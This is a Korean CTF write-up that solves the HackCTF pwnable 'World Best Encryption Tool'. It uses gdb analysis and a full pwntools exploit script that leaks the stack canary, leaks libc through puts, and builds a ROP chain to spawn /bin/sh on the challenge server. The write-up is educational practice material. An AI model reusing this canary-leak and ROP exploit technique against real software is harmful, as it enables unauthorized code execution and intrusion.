-
[Pwnable] World Best Encryption ToolWargame/HackCTF 2020. 1. 16. 23:34
들어가며
canary
를leak
하여rop
로 푸는 문제이다.canary leak을 해보았지만,
strncpy
를 자세히 보지 못해서 어렵게 푼 문제가 아닐까 싶다.문제해석
root@goorm:/workspace/ubuntu_1604/hackctf/pwnable(master)# ./World_best_encryption_ tool Your text) AAAA Encrypted text) ]]]]c��3�c�~�3�ctM2B* Wanna encrypt other text? (Yes/No) Yes Your text) AAAAAAAAAAAAAAAAAAAAAAAAAAAAA Encrypted text) ]]]]]]]]]]]]]]]]]]]]]]]]]]]]] Wanna encrypt other text? (Yes/No) Yes Your text) AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Encrypted text) ]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]AAAAAAA#(�Ce@ Wanna encrypt other text? (Yes/No) No *** stack smashing detected ***: ./World_best_encryption_tool terminated Aborted (core dumped)
사용자의 입력값을 암호화 시켜주는 바이너리인듯하다.
큰 값을 넣으니까 암호화하다 말고
이상한 값
이 보인다.종료하니
canary 값이 변조
되었단다. -> 여기서 위의이상한 값
이canary값
인 것을 유추할 수 있다.gdb를 통해 더 자세히 봐보자.
이 binary는 따로 사용자 지정 함수는 없고 전부 main에서 처리된다.
0x000000000040076b <+68>: lea rax,[rbp-0x80] 0x000000000040076f <+72>: mov rsi,rax 0x0000000000400772 <+75>: lea rdi,[rip+0x19a] # 0x400913 0x0000000000400779 <+82>: mov eax,0x0 0x000000000040077e <+87>: call 0x400630 <__isoc99_scanf@plt>
[rbp-0x80]
에 입력값을 받는다. 입력 크기를 제한하지 않으므로,bof
가 발생할 수 있다.stack크기를 봐보자.
gdb-peda$ x/20gx $rsp 0x7ffc9c15b310: 0x0000000000000000 0x0000000000000000 0x7ffc9c15b320: 0x4141414141414141 0x0000000000000000 0x7ffc9c15b330: 0x0000000000000001 0x00007ffc9c15b498 0x7ffc9c15b340: 0x0000000000000001 0x00007ffc9c15b3c0 0x7ffc9c15b350: 0x00007feabe1cb168 0x0000000000f0b5ff 0x7ffc9c15b360: 0x0000000000000001 0x00000000004008cd 0x7ffc9c15b370: 0x00007ffc9c15b39e 0x0000000000000000 0x7ffc9c15b380: 0x0000000000400880 0x0000000000400640 0x7ffc9c15b390: 0x00007ffc9c15b480 0x9f4d9bfc922fec00 0x7ffc9c15b3a0: 0x0000000000400880 0x00007feabdbfa830 gdb-peda$ x/gx $rbp 0x7ffc9c15b3a0: 0x0000000000400880 gdb-peda$ p/d $rbp-($rsp+0x10) $1 = 128
stack은
buf + canary + sfp + ret
로 이루어져있다. 이때,buf + canary
크기는128
이다.0x0000000000400783 <+92>: mov DWORD PTR [rbp-0x88],0x0 0x000000000040078d <+102>: jmp 0x4007b4 <main+141> 0x000000000040078f <+104>: mov eax,DWORD PTR [rbp-0x88] 0x0000000000400795 <+110>: cdqe 0x0000000000400797 <+112>: movzx eax,BYTE PTR [rbp+rax*1-0x80] 0x000000000040079c <+117>: xor eax,0x1c 0x000000000040079f <+120>: mov edx,eax 0x00000000004007a1 <+122>: mov eax,DWORD PTR [rbp-0x88] 0x00000000004007a7 <+128>: cdqe 0x00000000004007a9 <+130>: mov BYTE PTR [rbp+rax*1-0x80],dl 0x00000000004007ad <+134>: add DWORD PTR [rbp-0x88],0x1 0x00000000004007b4 <+141>: mov eax,DWORD PTR [rbp-0x88] 0x00000000004007ba <+147>: cmp eax,0x31 0x00000000004007bd <+150>: jbe 0x40078f <main+104>
이부분은 encryption부분이며, 따로 자세히 볼 필요는 없어 보인다.
0x00000000004007bf <+152>: lea rcx,[rbp-0x80] 0x00000000004007c3 <+156>: lea rax,[rbp-0x40] 0x00000000004007c7 <+160>: mov edx,0x39 0x00000000004007cc <+165>: mov rsi,rcx 0x00000000004007cf <+168>: mov rdi,rax 0x00000000004007d2 <+171>: call 0x4005d0 <strncpy@plt> 0x00000000004007d7 <+176>: lea rax,[rbp-0x40] 0x00000000004007db <+180>: mov rsi,rax 0x00000000004007de <+183>: lea rdi,[rip+0x131] # 0x400916 0x00000000004007e5 <+190>: mov eax,0x0 0x00000000004007ea <+195>: call 0x400600 <printf@plt>
이 부분을 조금 자세히 보아야 하는데,
입력한 값([rbp-0x40])
을[rbp-0x40]
으로0x39bytes
만큼 복사한다.그리고
[rbp-0x40]
을출력
해준다.복사한 전과 후, stack을 비교해보자.
gdb-peda$ x/20gx $rsp 0x7ffc9c15b310: 0x0000000000000000 0x0000000000000000 0x7ffc9c15b320: 0x4141414141414141 0x0000000000000000 0x7ffc9c15b330: 0x0000000000000001 0x00007ffc9c15b498 0x7ffc9c15b340: 0x0000000000000001 0x00007ffc9c15b3c0 0x7ffc9c15b350: 0x00007feabe1cb168 0x0000000000f0b5ff 0x7ffc9c15b360: 0x0000000000000001 0x00000000004008cd 0x7ffc9c15b370: 0x00007ffc9c15b39e 0x0000000000000000 0x7ffc9c15b380: 0x0000000000400880 0x0000000000400640 0x7ffc9c15b390: 0x00007ffc9c15b480 0x9f4d9bfc922fec00 0x7ffc9c15b3a0: 0x0000000000400880 0x00007feabdbfa830 gdb-peda$ x/20gx $rsp 0x7ffc9c15b310: 0x0000000000000000 0x0000000000000032 0x7ffc9c15b320: 0x5d5d5d5d5d5d5d5d 0x1c1c1c1c1c1c1c1c 0x7ffc9c15b330: 0x1c1c1c1c1c1c1c1d 0x1c1c63e08009a884 0x7ffc9c15b340: 0x1c1c1c1c1c1c1c1d 0x1c1c63e08009afdc 0x7ffc9c15b350: 0x00007feabe1cad74 0x0000000000f0b5ff 0x7ffc9c15b360: 0x5d5d5d5d5d5d5d5d 0x1c1c1c1c1c1c1c1c 0x7ffc9c15b370: 0x1c1c1c1c1c1c1c1d 0x1c1c63e08009a884 0x7ffc9c15b380: 0x1c1c1c1c1c1c1c1d 0x1c1c63e08009afdc 0x7ffc9c15b390: 0x00007feabe1cad74 0x9f4d9bfc922fec00 0x7ffc9c15b3a0: 0x0000000000400880 0x00007feabdbfa830
위에서
0x7ffc9c15b320
~0x7ffc9c15b359
까지를0x7ffc9c15b360
~0x7ffc9c15b399
로 복사한다.여기서 복사한 부분 바로 다음 값이
canary
값이다. 그러므로 출력할때canary
값을 출력할 수 있다.정리하면, binary는 다음과 같이 동작한다.
1. 글자 수 제한없이 입력값을 받는다. -> bof 발생 2. 암호화한 후에 strncpy(rbp-0x40, 입력값, 0x39)를 수행한다. 3. [rbp-0x40]를 출력한다. -> canary값 출력 가능
풀이
우선
canary
값을 leak하기 위해,A
를buf크기(120)
만큼 넣어보았다.# in gdb gdb-peda$ x/20gx $rsp 0x7fff89672980: 0x0000000000000000 0x0000000000000032 0x7fff89672990: 0x5d5d5d5d5d5d5d5d 0x5d5d5d5d5d5d5d5d 0x7fff896729a0: 0x5d5d5d5d5d5d5d5d 0x5d5d5d5d5d5d5d5d 0x7fff896729b0: 0x5d5d5d5d5d5d5d5d 0x5d5d5d5d5d5d5d5d 0x7fff896729c0: 0x4141414141415d5d 0x4141414141414141 0x7fff896729d0: 0x5d5d5d5d5d5d5d5d 0x5d5d5d5d5d5d5d5d 0x7fff896729e0: 0x5d5d5d5d5d5d5d5d 0x5d5d5d5d5d5d5d5d 0x7fff896729f0: 0x5d5d5d5d5d5d5d5d 0x5d5d5d5d5d5d5d5d 0x7fff89672a00: 0x4141414141415d5d 0xc0efd446c5bfc641 0x7fff89672a10: 0x0000000000400880 0x00007ff031fb4830 # in pwntools dbgmode [DEBUG] Received 0xb bytes: 'Your text)\n' [DEBUG] Sent 0x79 bytes: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA\n' [DEBUG] Received 0x53 bytes: 00000000 45 6e 63 72 79 70 74 65 64 20 74 65 78 74 29 0a │Encr│ypte│d te│xt)·│ 00000010 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d 5d │]]]]│]]]]│]]]]│]]]]│ * 00000040 5d 5d 41 41 41 41 41 41 41 c6 bf c5 46 d4 ef c0 │]]AA│AAAA│A···│F···│ 00000050 80 08 40 │··@│ 00000053 [DEBUG] Received 0x24 bytes: '\n' 'Wanna encrypt other text? (Yes/No)\n' [*] [*] Stage 1 : Leak Canary [*] Canary: 0xc0efd446c5bfc600
printf
에서%s
는'\x00'
를 만나기 전까지출력
하므로canary
값을 성공적으로 leak을 하였다.이제, payload는 다음과 같아진다.
1. puts(setvbuf@got) -> Leak libc_base 2. system('/bin/sh')
이를 토대로 exploit code를 작성해보았다.
Exploit.py
from pwn import * r = remote('ctf.j0n9hyun.xyz', 3027) #r = process('./World_best_encryption_tool') e = ELF('./World_best_encryption_tool') r.sendlineafter(')\n', "A"*120) r.recvuntil('\n') recvs = r.recvuntil('\n')[-11:-4] canary = u64(recvs.ljust(8, '\x00')) * 0x100 log.info("") log.info("Stage 1 : Leak Canary") log.info("Canary: "+hex(canary)) puts_plt = e.plt['puts'] setvbuf_got = e.got['setvbuf'] setvbuf_offset = 0x06fe70 system_offset = 0x045390 binsh_offset = 0x18cd57 pop_rdi = 0x004008e3 pop_rsi_r15 = 0x004008e1 main = 0x0000000000400727 payload = '' payload += "A"*0x38 payload += "\x00" payload += "A"*(120-len(payload)) payload += p64(canary) payload += "B"*8 payload += p64(pop_rdi) payload += p64(setvbuf_got) payload += p64(pop_rsi_r15) payload += p64(0) payload += p64(0) payload += p64(puts_plt) payload += p64(main) r.sendlineafter('No)', 'Yes') r.sendlineafter(')\n', payload) r.sendlineafter('No)', 'No') leak = u64(r.recvn(7)[1:].ljust(8, '\x00')) libc_base = leak - setvbuf_offset system = libc_base + system_offset binsh = libc_base + binsh_offset log.info("") log.info("Stage 2 : Leak libc") log.info("setvbuf@got: "+hex(leak)) log.info("libc_base: "+hex(libc_base)) log.info("system: "+hex(system)) log.info("binsh: "+hex(system)) payload = '' payload += "A"*0x38 payload += "\x00" payload += "A"*(120-len(payload)) payload += p64(canary) payload += "B"*8 payload += p64(pop_rdi) payload += p64(binsh) payload += p64(system) r.sendlineafter(')\n', payload) r.sendlineafter('No)', 'No') r.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
[Pwnable] j0n9hyun's secret (0) 2020.01.31 [Pwnable] Unexploitable #1, #2 (0) 2020.01.27 [Misc] 탈옥 (0) 2020.01.16 [Pwnable] Register (0) 2020.01.16 [Pwnable] RTC (0) 2020.01.12